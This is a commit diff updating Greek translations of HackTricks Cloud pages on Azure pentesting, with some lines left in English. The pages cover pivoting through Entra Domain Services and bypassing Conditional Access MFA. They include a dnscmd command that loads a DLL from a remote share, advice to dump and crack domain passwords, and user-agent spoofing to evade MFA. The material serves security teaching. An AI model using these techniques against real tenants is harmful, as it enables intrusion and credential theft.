mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
13
.github/pull_request_template.md
vendored
13
.github/pull_request_template.md
vendored
@@ -1,9 +1,12 @@
|
||||
## Attribution
|
||||
Εκτιμούμε τις γνώσεις σας και σας ενθαρρύνουμε να μοιραστείτε περιεχόμενο. Παρακαλούμε βεβαιωθείτε ότι ανεβάζετε μόνο περιεχόμενο που κατέχετε ή για το οποίο έχετε άδεια να το μοιραστείτε από τον αρχικό συγγραφέα (προσθέτοντας μια αναφορά στον συγγραφέα στο προστιθέμενο κείμενο ή στο τέλος της σελίδας που τροποποιείτε ή και τα δύο). Ο σεβασμός σας στα δικαιώματα πνευματικής ιδιοκτησίας προάγει ένα αξιόπιστο και νόμιμο περιβάλλον κοινοποίησης για όλους.
|
||||
Μπορείτε να αφαιρέσετε αυτό το περιεχόμενο πριν στείλετε το PR:
|
||||
|
||||
## Αναγνώριση
|
||||
Εκτιμούμε τις γνώσεις σας και σας ενθαρρύνουμε να μοιράζεστε περιεχόμενο. Παρακαλούμε βεβαιωθείτε ότι ανεβάζετε μόνο περιεχόμενο που σας ανήκει ή για το οποίο έχετε άδεια να το μοιραστείτε από τον αρχικό συγγραφέα (προσθέτοντας αναφορά στον συγγραφέα στο πρόσθετο κείμενο ή στο τέλος της σελίδας που τροποποιείτε ή και στα δύο). Ο σεβασμός σας στα δικαιώματα πνευματικής ιδιοκτησίας προάγει ένα αξιόπιστο και νόμιμο περιβάλλον κοινής χρήσης για όλους.
|
||||
|
||||
## HackTricks Training
|
||||
Αν προσθέτετε ώστε να μπορέσετε να περάσετε την εξέταση [ARTE certification](https://training.hacktricks.xyz/courses/arte) με 2 flags αντί για 3, πρέπει να ονομάσετε το PR `arte-<username>`.
|
||||
Αν στέλνετε ένα PR ώστε να περάσετε την [ARTE certification](https://hacktricks-training.com/courses/arte) εξέταση με 2 flags αντί για 3, πρέπει να ονομάσετε το PR `arte-<username>`, `grte-<username>` ή `azrte-<username>`, ανάλογα με την πιστοποίηση που κάνετε.
|
||||
|
||||
Επίσης, θυμηθείτε ότι διορθώσεις γραμματικής/σύνταξης δεν θα γίνουν αποδεκτές για τη μείωση των flags της εξέτασης.
|
||||
Επίσης, να θυμάστε ότι οι διορθώσεις γραμματικής/σύνταξης δεν θα γίνονται δεκτές για τη μείωση των flags στην εξέταση.
|
||||
|
||||
Σε κάθε περίπτωση, σας ευχαριστούμε που συμβάλλετε στο HackTricks!
|
||||
|
||||
Σε κάθε περίπτωση, ευχαριστούμε για τη συνεισφορά σας στο HackTricks!
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
> [!TIP]
|
||||
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Μάθετε & εξασκηθείτε στο Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Υποστηρίξτε το HackTricks</summary>
|
||||
>
|
||||
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
> - Δείτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
@@ -2,44 +2,44 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Υπηρεσίες Τομέα
|
||||
## Domain Services
|
||||
|
||||
Η Microsoft Entra Domain Services επιτρέπει την ανάπτυξη ενός Active Directory στο Azure χωρίς να χρειάζεται να διαχειρίζεστε Domain Controllers (στην πραγματικότητα δεν έχετε καν πρόσβαση σε αυτούς).
|
||||
Microsoft Entra Domain Services allows to deploy an Active Directory in Azure without needing to manage Domain Controllers (actually you don't even have access to them).
|
||||
|
||||
Ο κύριος στόχος της είναι να σας επιτρέψει να εκτελείτε παλιές εφαρμογές στο cloud που δεν μπορούν να χρησιμοποιήσουν σύγχρονες μεθόδους αυθεντικοποίησης, ή όπου δεν θέλετε οι αναζητήσεις καταλόγου να επιστρέφουν πάντα σε ένα τοπικό περιβάλλον AD DS.
|
||||
Its main goal is to allow you to run legacy applications in the cloud that can't use modern authentication methods, or where you don't want directory lookups to always go back to an on-premises AD DS environment.
|
||||
|
||||
Σημειώστε ότι για να συγχρονίσετε τους χρήστες που δημιουργούνται στο Entra ID (και δεν συγχρονίζονται από άλλους ενεργούς καταλόγους) στην υπηρεσία τομέα AD, πρέπει να **αλλάξετε τον κωδικό πρόσβασης του χρήστη** σε έναν νέο ώστε να μπορεί να συγχρονιστεί με το νέο AD. Στην πραγματικότητα, ο χρήστης δεν συγχρονίζεται από το Microsoft Entra ID στις Υπηρεσίες Τομέα μέχρι να αλλάξει ο κωδικός πρόσβασης.
|
||||
Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed.
|
||||
|
||||
> [!WARNING]
|
||||
> Ακόμα και αν δημιουργείτε ένα νέο τομέα Active Directory, δεν θα μπορείτε να το διαχειριστείτε πλήρως (εκτός αν εκμεταλλευτείτε κάποιες κακοδιαρθρώσεις), που σημαίνει ότι από προεπιλογή, για παράδειγμα, δεν μπορείτε να δημιουργήσετε χρήστες απευθείας στο AD. Τους δημιουργείτε με **τον συγχρονισμό χρηστών από το Entra ID.** Μπορείτε να υποδείξετε να συγχρονίσετε όλους τους χρήστες (ακόμα και αυτούς που συγχρονίζονται από άλλους τοπικούς AD), μόνο τους χρήστες cloud (χρήστες που δημιουργούνται στο Entra ID), ή ακόμα και **να τους φιλτράρετε περισσότερο**.
|
||||
> Even if you are creating a new active directory domain you won't be able to completely managed it (unless without exploiting some misconfigurations), which means that by default for example you cannot create users in the AD directly. You create them by **synchronizing users from Entra ID.** You can indicate to synchronize all users (even those synced from other on-premise ADs), only cloud users (users created in Entra ID), or even **filter them more**.
|
||||
|
||||
> [!NOTE]
|
||||
> Γενικά, λόγω της έλλειψης ευελιξίας στη διαμόρφωση του νέου τομέα και του γεγονότος ότι οι AD είναι συνήθως ήδη τοπικοί, αυτή δεν είναι η κύρια ενσωμάτωση μεταξύ του Entra ID και του AD, αλλά είναι ακόμα ενδιαφέρον να γνωρίζετε πώς να το παραβιάσετε.
|
||||
> In general, due to the lack of flexibity on the configuration of the new domain and the fact that ADs are usually already on-premise, this is not the main integration between Entra ID and AD, but still interesting to know how to compromise it.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Τα μέλη της ομάδας **`AAD DC Administrators`** έχουν παραχωρηθεί τοπικά δικαιώματα διαχειριστή σε VMs που είναι συνδεδεμένα στον τομέα που διαχειρίζεται (αλλά όχι στους domain controllers) επειδή προστίθενται στην τοπική ομάδα διαχειριστών. Τα μέλη αυτής της ομάδας μπορούν επίσης να χρησιμοποιούν **Remote Desktop για να συνδεθούν απομακρυσμένα σε VMs που είναι συνδεδεμένα στον τομέα**, και είναι επίσης μέλη των ομάδων:
|
||||
Members of the generated **`AAD DC Administrators`** group are granted local admin permissions on VMs that are domain-joined to the managed domain (but not in the domain controllers) because they are added into the local administrators group. Members of this group can also use **Remote Desktop to connect remotely to domain-joined VMs**, and are also members of the groups:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: Αυτή είναι μια ομάδα που καθορίζει χρήστες και ομάδες των οποίων οι κωδικοί πρόσβασης δεν μπορούν να αποθηκευτούν σε RODCs (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`**: Αυτή η ομάδα επιτρέπει στα μέλη να δημιουργούν Ομάδες Πολιτικής στον τομέα. Ωστόσο, τα μέλη της δεν μπορούν να εφαρμόσουν πολιτικές ομάδας σε χρήστες ή ομάδες ή να επεξεργαστούν υπάρχουσες GPOs, οπότε δεν είναι τόσο ενδιαφέρον σε αυτό το περιβάλλον.
|
||||
- **`DnsAdmins`**: Αυτή η ομάδα επιτρέπει τη διαχείριση των ρυθμίσεων DNS και έχει κακοποιηθεί στο παρελθόν για [να κλιμακώσει προνόμια και να παραβιάσει τον τομέα](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), ωστόσο μετά τη δοκιμή της επίθεσης σε αυτό το περιβάλλον διαπιστώθηκε ότι η ευπάθεια έχει διορθωθεί:
|
||||
- **`Denied RODC Password Replication Group`**: This is a group that specifies users and groups whose passwords cannot be cached on RODCs (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`**: This group allows members to create Group Policies in the domain. However, its members can't apply group policies to users or group or edit existing GPOs, so it's not that interesting in this environment.
|
||||
- **`DnsAdmins`**: This group allows to manage the DNS settings and was abused in the past to [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), however after testing the attack in this environment it was checked that the vulnerability is patched:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Σημειώστε ότι για να παραχωρηθούν αυτές οι άδειες, μέσα στο AD η ομάδα **`AAD DC Administrators`** γίνεται μέλος των προηγούμενων ομάδων, και επίσης η GPO **`AADDC Computers GPO`** προσθέτει ως Τοπικούς Διαχειριστές όλα τα μέλη της ομάδας τομέα **`AAD DC Administrators`**.
|
||||
Σημειώστε ότι για να χορηγηθούν αυτά τα δικαιώματα, μέσα στο AD η ομάδα **`AAD DC Administrators`** γίνεται μέλος των προαναφερθέντων ομάδων, και επίσης το GPO **`AADDC Computers GPO`** προσθέτει ως Τοπικούς Διαχειριστές όλα τα μέλη της domain ομάδας **`AAD DC Administrators`**.
|
||||
|
||||
Η μετάβαση από το Entra ID σε ένα AD που δημιουργήθηκε με τις Υπηρεσίες Τομέα είναι απλή, απλώς προσθέστε έναν χρήστη στην ομάδα **`AAD DC Administrators`**, αποκτήστε πρόσβαση μέσω RDP σε οποιοδήποτε/όλες τις μηχανές στον τομέα και θα μπορείτε να κλέψετε δεδομένα και επίσης **να συμβιβάσετε τον τομέα.**
|
||||
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **παραβιάσεις το domain.**
|
||||
|
||||
Ωστόσο, η μετάβαση από τον τομέα στο Entra ID δεν είναι τόσο εύκολη καθώς τίποτα από τον τομέα δεν συγχρονίζεται στο Entra ID. Ωστόσο, πάντα ελέγξτε τα μεταδεδομένα για όλες τις VM που έχουν προστεθεί καθώς οι ανατεθειμένες διαχειριζόμενες ταυτότητές τους μπορεί να έχουν ενδιαφέρουσες άδειες. Επίσης, **εξαγάγετε όλους τους κωδικούς πρόσβασης των χρηστών από τον τομέα** και προσπαθήστε να τους σπάσετε για να συνδεθείτε στο Entra ID / Azure.
|
||||
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Σημειώστε ότι στο παρελθόν έχουν βρεθεί άλλες ευπάθειες σε αυτό το διαχειριζόμενο AD που επέτρεπαν την παραβίαση των DCs, [όπως αυτή](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Ένας επιτιθέμενος που παραβιάζει το DC θα μπορούσε πολύ εύκολα να διατηρήσει την επιμονή χωρίς οι διαχειριστές του Azure να το παρατηρήσουν ή ακόμη και να είναι σε θέση να το αφαιρέσουν.
|
||||
> Σημειώστε ότι στο παρελθόν εντοπίστηκαν κι άλλες ευπάθειες σε αυτό το managed AD που επέτρεψαν να compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Ένας επιτιθέμενος που παραβιάζει τους DCs θα μπορούσε πολύ εύκολα να διατηρήσει persistence χωρίς οι Azure admins να το προσέξουν ή ακόμη να μπορούν να το αφαιρέσουν.
|
||||
|
||||
### Αριθμητική
|
||||
### Καταγραφή
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
@@ -59,7 +59,7 @@ az rest --method post \
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
# Az - Πολιτικές Προσβασιμότητας & Παράκαμψη MFA
|
||||
# Az - Conditional Access Policies & MFA Bypass
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Οι πολιτικές προσβασιμότητας του Azure είναι κανόνες που έχουν ρυθμιστεί στο Microsoft Azure για να επιβάλλουν ελέγχους πρόσβασης σε υπηρεσίες και εφαρμογές του Azure με βάση ορισμένες **συνθήκες**. Αυτές οι πολιτικές βοηθούν τους οργανισμούς να ασφαλίσουν τους πόρους τους εφαρμόζοντας τους κατάλληλους ελέγχους πρόσβασης υπό τις κατάλληλες συνθήκες.\
|
||||
Οι πολιτικές προσβασιμότητας βασικά **ορίζουν** **Ποιος** μπορεί να έχει πρόσβαση σε **Τι** από **Που** και **Πως**.
|
||||
Azure Conditional Access policies είναι κανόνες που ορίζονται στο Microsoft Azure για να επιβάλλουν ελέγχους πρόσβασης σε υπηρεσίες και εφαρμογές του Azure βάσει ορισμένων **συνθηκών**. Αυτές οι πολιτικές βοηθούν τους οργανισμούς να προστατεύσουν τους πόρους τους εφαρμόζοντας τους κατάλληλους ελέγχους πρόσβασης στις κατάλληλες περιστάσεις.\
|
||||
Conditional access policies ουσιαστικά **ορίζουν** **Who** μπορεί να έχει πρόσβαση σε **What** από **Where** και **How**.
|
||||
|
||||
Εδώ είναι μερικά παραδείγματα:
|
||||
Ακολουθούν μερικά παραδείγματα:
|
||||
|
||||
1. **Πολιτική Κινδύνου Σύνδεσης**: Αυτή η πολιτική θα μπορούσε να ρυθμιστεί ώστε να απαιτεί πολυπαραγοντική αυθεντικοποίηση (MFA) όταν ανιχνεύεται κίνδυνος σύνδεσης. Για παράδειγμα, αν η συμπεριφορά σύνδεσης ενός χρήστη είναι ασυνήθιστη σε σύγκριση με το κανονικό του μοτίβο, όπως η σύνδεση από διαφορετική χώρα, το σύστημα μπορεί να ζητήσει επιπλέον αυθεντικοποίηση.
|
||||
2. **Πολιτική Συμμόρφωσης Συσκευών**: Αυτή η πολιτική μπορεί να περιορίσει την πρόσβαση σε υπηρεσίες του Azure μόνο σε συσκευές που είναι συμβατές με τα πρότυπα ασφαλείας του οργανισμού. Για παράδειγμα, η πρόσβαση θα μπορούσε να επιτρέπεται μόνο από συσκευές που διαθέτουν ενημερωμένο λογισμικό antivirus ή εκτελούν μια συγκεκριμένη έκδοση λειτουργικού συστήματος.
|
||||
1. **Sign-In Risk Policy**: Αυτή η πολιτική μπορεί να οριστεί ώστε να απαιτεί multi-factor authentication (MFA) όταν εντοπίζεται sign-in risk. Για παράδειγμα, αν η συμπεριφορά σύνδεσης ενός χρήστη είναι ασυνήθιστη σε σχέση με το συνηθισμένο του μοτίβο, όπως σύνδεση από διαφορετική χώρα, το σύστημα μπορεί να ζητήσει επιπλέον ταυτοποίηση.
|
||||
2. **Device Compliance Policy**: Αυτή η πολιτική μπορεί να περιορίσει την πρόσβαση σε Azure services μόνο σε συσκευές που συμμορφώνονται με τα πρότυπα ασφάλειας του οργανισμού. Για παράδειγμα, η πρόσβαση θα μπορούσε να επιτρέπεται μόνο από συσκευές που έχουν ενημερωμένο antivirus ή τρέχουν συγκεκριμένη έκδοση λειτουργικού συστήματος.
|
||||
|
||||
## Αριθμητική
|
||||
## Εντοπισμός
|
||||
```bash
|
||||
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
|
||||
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
|
||||
@@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-v
|
||||
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
|
||||
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
|
||||
```
|
||||
## Πολιτικές Πρόσβασης με Όρους Bypasses
|
||||
## Παρακάμψεις Conditional Acces Policies
|
||||
|
||||
Είναι πιθανό μια πολιτική πρόσβασης με όρους να **ελέγχει κάποιες πληροφορίες που μπορούν να παραποιηθούν εύκολα, επιτρέποντας την παράκαμψη της πολιτικής**. Και αν, για παράδειγμα, η πολιτική ρύθμιζε MFA, ο επιτιθέμενος θα μπορεί να την παρακάμψει.
|
||||
Είναι πιθανό μια conditional access policy να ελέγχει κάποια πληροφορία που μπορεί εύκολα να παραποιηθεί, επιτρέποντας μια παράκαμψη της πολιτικής. Και αν, για παράδειγμα, η πολιτική ρύθμιζε MFA, ο attacker θα μπορέσει να την παρακάμψει.
|
||||
|
||||
Κατά τη ρύθμιση μιας πολιτικής πρόσβασης με όρους, είναι απαραίτητο να υποδειχθούν οι **χρήστες** που επηρεάζονται και οι **στόχοι πόροι** (όπως όλες οι εφαρμογές cloud).
|
||||
Κατά τη ρύθμιση μιας conditional access policy πρέπει να δηλωθούν οι **users** που επηρεάζονται και οι **target resources** (π.χ. όλα τα cloud apps).
|
||||
|
||||
Είναι επίσης απαραίτητο να ρυθμιστούν οι **συνθήκες** που θα **ενεργοποιήσουν** την πολιτική:
|
||||
Επίσης πρέπει να ρυθμιστούν οι **conditions** που θα **trigger** την πολιτική:
|
||||
|
||||
- **Δίκτυο**: IP, εύρος IP και γεωγραφικές τοποθεσίες
|
||||
- Μπορεί να παρακαμφθεί χρησιμοποιώντας VPN ή Proxy για σύνδεση σε χώρα ή καταφέρνοντας να συνδεθεί από μια επιτρεπόμενη διεύθυνση IP
|
||||
- **Κίνδυνοι Microsoft**: Κίνδυνος χρήστη, Κίνδυνος σύνδεσης, Κίνδυνος εσωτερικού
|
||||
- **Πλατφόρμες συσκευών**: Οποιαδήποτε συσκευή ή επιλέξτε Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Αν δεν έχει επιλεγεί “Οποιαδήποτε συσκευή” αλλά έχουν επιλεγεί όλες οι άλλες επιλογές, είναι δυνατόν να παρακαμφθεί χρησιμοποιώντας έναν τυχαίο user-agent που δεν σχετίζεται με αυτές τις πλατφόρμες
|
||||
- **Εφαρμογές πελάτη**: Οι επιλογές είναι “Περιηγητής”, “Εφαρμογές κινητών και επιτραπέζιοι πελάτες”, “Clients Exchange ActiveSync” και “Άλλοι πελάτες”
|
||||
- Για να παρακαμφθεί η σύνδεση με μια μη επιλεγμένη επιλογή
|
||||
- **Φίλτρο για συσκευές**: Είναι δυνατόν να δημιουργηθεί ένας κανόνας σχετικός με τη χρησιμοποιούμενη συσκευή
|
||||
- **Ροές αυθεντικοποίησης**: Οι επιλογές είναι “Ροή κωδικού συσκευής” και “Μεταφορά αυθεντικοποίησης”
|
||||
- Αυτό δεν θα επηρεάσει έναν επιτιθέμενο εκτός αν προσπαθεί να καταχραστεί οποιοδήποτε από αυτά τα πρωτόκολλα σε μια απόπειρα phishing για πρόσβαση στον λογαριασμό του θύματος
|
||||
- **Network**: IP, IP ranges και γεωγραφικές τοποθεσίες
|
||||
- Μπορεί να παρακαμφθεί χρησιμοποιώντας ένα VPN ή Proxy για σύνδεση σε μια επιτρεπόμενη χώρα ή καταφέρνοντας να κάνεις login από μια επιτρεπόμενη IP address
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device ή επιλογή Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Αν δεν είναι επιλεγμένο “Any device” αλλά όλες οι άλλες επιλογές είναι επιλεγμένες, είναι δυνατό να το παρακάμψεις χρησιμοποιώντας έναν τυχαίο user-agent που δεν σχετίζεται με αυτές τις πλατφόρμες
|
||||
- **Client apps**: Επιλογές είναι “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” και “Other clients”
|
||||
- Για να παρακάμψεις το login με μια μη επιλεγμένη επιλογή
|
||||
- **Filter for devices**: Είναι δυνατό να δημιουργηθεί ένας κανόνας σχετικός με τη χρησιμοποιούμενη συσκευή
|
||||
- **Authentication flows**: Επιλογές είναι “Device code flow” και “Authentication transfer”
|
||||
- Αυτό δεν θα επηρεάσει έναν attacker εκτός αν προσπαθεί να καταχραστεί κάποιο από αυτά τα πρωτόκολλα σε μια phishing προσπάθεια για πρόσβαση στον λογαριασμό του victim
|
||||
|
||||
Τα πιθανά **αποτελέσματα** είναι: Αποκλεισμός ή Χορήγηση πρόσβασης με πιθανές προϋποθέσεις όπως η απαίτηση MFA, η συμμόρφωση της συσκευής…
|
||||
Τα πιθανά **results** είναι: Block ή Grant access με πιθανές προϋποθέσεις όπως require MFA, η συσκευή να είναι compliant…
|
||||
|
||||
### Πλατφόρμες Συσκευών - Συνθήκη Συσκευής
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
Είναι δυνατόν να ρυθμιστεί μια συνθήκη με βάση την **πλατφόρμα συσκευής** (Android, iOS, Windows, macOS...), ωστόσο, αυτό βασίζεται στον **user-agent** οπότε είναι εύκολο να παρακαμφθεί. Ακόμα και **κάνοντάς όλες τις επιλογές να επιβάλλουν MFA**, αν χρησιμοποιήσετε έναν **user-agent που δεν αναγνωρίζεται,** θα μπορείτε να παρακάμψετε το MFA ή τον αποκλεισμό:
|
||||
Είναι δυνατό να οριστεί μια συνθήκη βασισμένη στην **device platform** (Android, iOS, Windows, macOS...), όμως αυτό βασίζεται στο **user-agent** οπότε είναι εύκολο να παρακαμφθεί. Ακόμη και **επιβάλλοντας MFA για όλες τις επιλογές**, αν χρησιμοποιήσεις έναν **user-agent που δεν αναγνωρίζεται,** θα μπορέσεις να παρακάμψεις το MFA ή το block:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Απλά κάνοντάς τον περιηγητή **να στείλει έναν άγνωστο user-agent** (όπως `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) είναι αρκετό για να μην ενεργοποιηθεί αυτή η συνθήκη.\
|
||||
Μπορείτε να αλλάξετε τον user agent **χειροκίνητα** στα εργαλεία ανάπτυξης:
|
||||
Αρκεί το browser να **στείλει έναν άγνωστο user-agent** (όπως `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) για να μην ενεργοποιηθεί αυτή η συνθήκη.\
|
||||
Μπορείς να αλλάξεις τον user agent **χειροκίνητα** στα developer tools:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Ή να χρησιμοποιήσετε μια [επέκταση περιηγητή όπως αυτή](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
Ή να χρησιμοποιήσεις ένα [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Τοποθεσίες: Χώρες, Εύρη IP - Συνθήκη Συσκευής
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
Αν αυτό έχει ρυθμιστεί στην πολιτική πρόσβασης με όρους, ένας επιτιθέμενος θα μπορούσε απλά να χρησιμοποιήσει ένα **VPN** στη **επιτρεπόμενη χώρα** ή να προσπαθήσει να βρει έναν τρόπο να αποκτήσει πρόσβαση από μια **επιτρεπόμενη διεύθυνση IP** για να παρακάμψει αυτές τις συνθήκες.
|
||||
Αν αυτό έχει οριστεί στην conditional policy, ένας attacker απλά μπορεί να χρησιμοποιήσει ένα **VPN** στη **επιτρεπόμενη χώρα** ή να προσπαθήσει να βρει τρόπο πρόσβασης από μια **επιτρεπόμενη IP address** για να παρακάμψει αυτές τις συνθήκες.
|
||||
|
||||
### Εφαρμογές Cloud
|
||||
### Cloud Apps
|
||||
|
||||
Είναι δυνατόν να ρυθμιστούν **πολιτικές πρόσβασης με όρους για να αποκλείσουν ή να επιβάλουν** για παράδειγμα MFA όταν ένας χρήστης προσπαθεί να αποκτήσει πρόσβαση σε **συγκεκριμένη εφαρμογή**:
|
||||
Είναι δυνατό να ρυθμιστούν **conditional access policies για να μπλοκάρουν ή να επιβάλλουν**, για παράδειγμα, MFA όταν ένας user προσπαθεί να έχει πρόσβαση σε ένα **συγκεκριμένο app**:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Για να προσπαθήσετε να παρακάμψετε αυτή την προστασία, θα πρέπει να δείτε αν μπορείτε **να συνδεθείτε μόνο σε οποιαδήποτε εφαρμογή**.\
|
||||
Το εργαλείο [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) έχει **δεκάδες αναγνωριστικά εφαρμογών σκληρά κωδικοποιημένα** και θα προσπαθήσει να συνδεθεί σε αυτά και να σας ενημερώσει και να σας δώσει ακόμη και το token αν είναι επιτυχές.
|
||||
Για να προσπαθήσεις να παρακάμψεις αυτή την προστασία πρέπει να δεις αν μπορείς να **login μόνο σε οποιαδήποτε εφαρμογή**.\
|
||||
